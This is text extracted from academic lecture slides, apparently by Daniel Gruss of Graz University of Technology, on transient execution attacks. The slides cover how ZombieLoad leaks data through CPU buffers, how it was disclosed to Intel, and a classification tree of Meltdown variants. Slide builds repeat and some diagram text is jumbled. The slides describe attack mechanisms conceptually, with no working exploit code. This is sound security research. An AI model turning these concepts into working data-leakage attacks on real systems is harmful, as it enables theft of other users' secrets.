- **ALU, Branch**
- **Load data**
- **Store data**

### Load Buffer
- **Store Buffer**

### Guest Physical Page Number
<table>
<thead>
<tr>
<th>P</th>
<th>RW</th>
<th>US</th>
<th>WT</th>
<th>UC</th>
<th>R</th>
<th>D</th>
<th>S</th>
<th>G</th>
<th>Ignored</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Ignored**

**X**
Foreshadow-VMM

... 
... 

... 
... 

... 
... 

... 
... 

...
ZombieLoad

Execution Engine

- Execution Units
  - ALU, AES, ...
  - ALU, FMA, ...
  - ALU, Vect, ...
  - ALU, Branch

- Scheduler

- Reorder buffer

- Memory Subsystem
  - L1 Data Cache
  - DTLB
  - STLB
  - L2 Cache
  - LFB
  - STLB
  - L3 Cache
  - DRAM

- Load Buer
- Store Buer

- MOV al, byte [rcx]
ZombieLoad

...mov al, byte [rcx]...

Execution Engine

Reorder buffer

Scheduler

ALU, AES, FMA, ...

ALU, Vec, ...

ALU, Branch

Load data

Store data

AGU

Execution Units

CDB

Memory Subsystem

Load Buffer

Store Buffer

L1 Data Cache

DTLB

STLB

L2 Cache

LFB

L3 Cache

DRAM
ZombieLoad

Execution Engine

- Scheduler
- Execution Units: ALU, AES, ..., ALU, FMA, ..., ALU, Vect, ..., ALU, Branch
- Load data
- Store data
- AGU

Memory Subsystem

- Load Buffer
- Store Buffer
- L1 Data Cache
- DTLB
- L2 Cache
- STLB
- L3 Cache
- DRAM

...mov al, byte [rcx]...

Complex load situation! Need to reissue this load! STOP!!
ZombieLoad

Execution Engine

Reorder buffer

Scheduler

Execution Units

ALU, AES, ... ALU, FMA, ... ALU, Vect, ... ALU, Branch

Load data

Scheduler

Execution Units

Load data

Store data

AGU

Memory Subsystem

Load Buffer Store Buffer

Load Buffer

L1 Data Cache DTLB

DTLB

STLB

L2 Cache

L3 Cache

DRAM

complex load situation! need to reissue this load! STOP!!

mov al, byte [rcx]
ZombieLoad

CDB

Reorder buffer

Scheduler

Execution Units

ALU, AES, ...  ALU, FMA, ...  ALU, Vect, ...  ALU, Branch

Load data  Load data  Store data  AGU

Load Buffer  Store Buffer

L1 Data Cache

DTLB

L2 Cache

STLB

L3 Cache

DRAM

complex load situation! need to reissue this load! STOP!!
ZombieLoad

Execution Engine

Reorder buffer

Scheduler

Execution Units

ALU, AES, ...

ALU, FMA, ...

ALU, Vect, ...

ALU, Branch

Load data

Load data

Store data

AGU

CDB

Memory Subsystem

Load Buffer

Store Buffer

L1 Data Cache

DTLB

LFB

STLB

L2 Cache

L3 Cache

DRAM

#n-1 ...

#n ppn vpn offset reg.no.

#n+1 ...

mov al, byte [rcx]

...
ZombieLoad

www.tugraz.at

Execution Engine

Reorder buffer

Scheduler

Execution Units

ALU, AES, . . .
ALU, FMA, . . .
ALU, Vect, . . .
ALU, Branch

Load data
Load data
Store data
AGU

CDB

Memory Subsystem

Load Buffer
Store Buffer

L1 Data Cache
DTLB
LFB

STLB
L2 Cache
LFB

L3 Cache

DRAM
ZombieLoad

Execution Engine
- Scheduler
  - Execution Units
    - ALU, AES, FMA, ..
    - ALU, Vect, ..
    - ALU, Branch

Memory Subsystem
- Load Buffer
- Store Buffer
- DTLB
  - L1 Data Cache
  - L2 Cache
  - L3 Cache
  - DRAM

data can go to register

complex load situation! need to reissue this load! STOP!!

\[ \text{mov al, byte [rcx]} \]

...
So how did we find it?
So how did we find it?

- Our Meltdown PoC always worked on non-L1 memory (for us).
- Co-authors confirmed PoCs/reports.
- Intel - December 2017: "can't reproduce".
- Works with uncacheable PoC.
- Intel - March 2018: "It's the LFB!".
So how did we find it?

our Meltdown PoC always worked on non-L1 memory (for us)

co-authors confirmed PoCs/reports!

Intel - December 2017
can't reproduce"

works with uncacheable PoC!

Intel - March 2018
It's the LFB"!

Intel - May 2018
So how did we find it?

- our Meltdown PoC always worked on non-L1 memory (for us)
So how did we find it?

• our Meltdown PoC always worked on non-L1 memory (for us)
  • co-authors confirmed
So how did we find it?

- our Meltdown PoC always worked on non-L1 memory (for us)
  - co-authors confirmed
- PoCs/reports → Intel - December 2017
So how did we find it?

• our Meltdown PoC always worked on non-L1 memory (for us)
  • co-authors confirmed
• PoCs/reports → Intel - December 2017
  • “can't reproduce”
So how did we find it?

• our Meltdown PoC always worked on non-L1 memory (for us)
  • co-authors confirmed
• PoCs/reports → Intel - December 2017
  • “can’t reproduce”
• works with uncacheable
So how did we find it?

- our Meltdown PoC always worked on non-L1 memory (for us)
  - co-authors confirmed
- PoCs/reports → Intel - December 2017
  - “can't reproduce”
- works with uncacheable
  - PoC → Intel - March 2018
So how did we find it?

- our Meltdown PoC always worked on non-L1 memory (for us)
  - co-authors confirmed
- PoCs/reports → Intel - December 2017
  - “can’t reproduce”
- works with uncacheable
  - PoC → Intel - March 2018
- “It’s the LFB” → Intel - May 2018
Meltdown has noise
Meltdown Noise?

Uncacheable!

lower signal to noise ratio
Meltdown Noise?

Meltdown has noise! Uncacheable! Lower signal to noise ratio.

Daniel Gruss — Graz University of Technology
Meltdown Noise?

- Meltdown has noise
• Meltdown has noise
• Uncacheable $\rightarrow$ lower signal to noise ratio
THERE IS NO NOISE

NOISE IS JUST SOMEONE ELSE'S DATA
Section - How do I get rid of zombie processes that persevere?
May 2019: 3 new Meltdown-type attacks

Leakage from: line-fill buffer, store buffer, load ports
• May 2019: 3 new Meltdown-type attacks
• Leakage from: line-fill buffer, store buffer, load ports
• Key take-aways:
  1. Leakage from intermediate buffers (▷ L1D)
  2. Transient execution through micrcode assists (▷ exceptions)
May 2019: 3 new Meltdown-type attacks

Leakage from: line-fill buffer, store buffer, load ports

Key take-aways:
1. Leakage from intermediate buffers (⊂ L1D)
2. Transient execution through micrcode assists (⊂ exceptions)

⇒ How to classify in our tree + lessons learned?
⇒ MD-faulttype-BUF naming scheme
⇒ **MD-faulttype-BUF** naming scheme

**Update leaves** – leakage source: REG, L1, LFB, SB, LP
⇒ MD-faulttype-BUF naming scheme

**Update leaves** – leakage source: REG, L1, LFB, SB, LP

**Add sub-branch** – trigger Meltdown via \( \mu \)-code assists
⇒ MD-faulttype-BUF naming scheme

**Update leaves** – leakage source: REG, L1, LFB, SB, LP

**Add sub-branch** – trigger Meltdown via $\mu$-code assists
Extended Meltdown Tree

- Transient cause
- Meltdown-type
  - Meltdown-NM-REG
    - Meltdown-PF
    - Meltdown-P
  - Meltdown-BR
  - Meltdown-GP
  - Meltdown-MCA
- Meltdown-US
  - Meltdown-US-L1
  - Meltdown-US-LFB
  - Meltdown-US-SB
  - Meltdown-P-L1
  - Meltdown-P-LFB
  - Meltdown-P-SB
  - Meltdown-P-LP
- Meltdown-US-L1
  - Meltdown-US-LFB
  - Meltdown-US-SB
- Meltdown-P-LFB
- Meltdown-P-SB
- Meltdown-P-LP
- Meltdown-AD
  - Meltdown-AD-LFB
  - Meltdown-AD-SB
- Meltdown-A VX-LP
- Meltdown-CPL-REG
- Meltdown-NC-SB
- Meltdown-MPX
- Meltdown-BND
- Meltdown-PK-L1
- Meltdown-SM-SB
2018 era: Depth-first search (e.g., Foreshadow/L1TF)

⇒ Our **systematic analysis** (tree search) revealed several overlooked variants (see Canella et al. “A Systematic Evaluation of Transient Execution Attacks and Defenses”, USENIX Security 2019).
Interactive JavaScript tree  
(https://transient.fail)
Conclusions

• new class of software-based attacks
Conclusions

- new class of software-based attacks
- many problems to solve around microarchitectural attacks and especially transient execution attacks
Conclusions

- new class of software-based attacks
- many problems to solve around microarchitectural attacks and especially transient execution attacks
- systematically analyze attack space to discover new variants
Side Channels and Transient Execution Attacks

Daniel Gruss
December 11, 2019

Graz University of Technology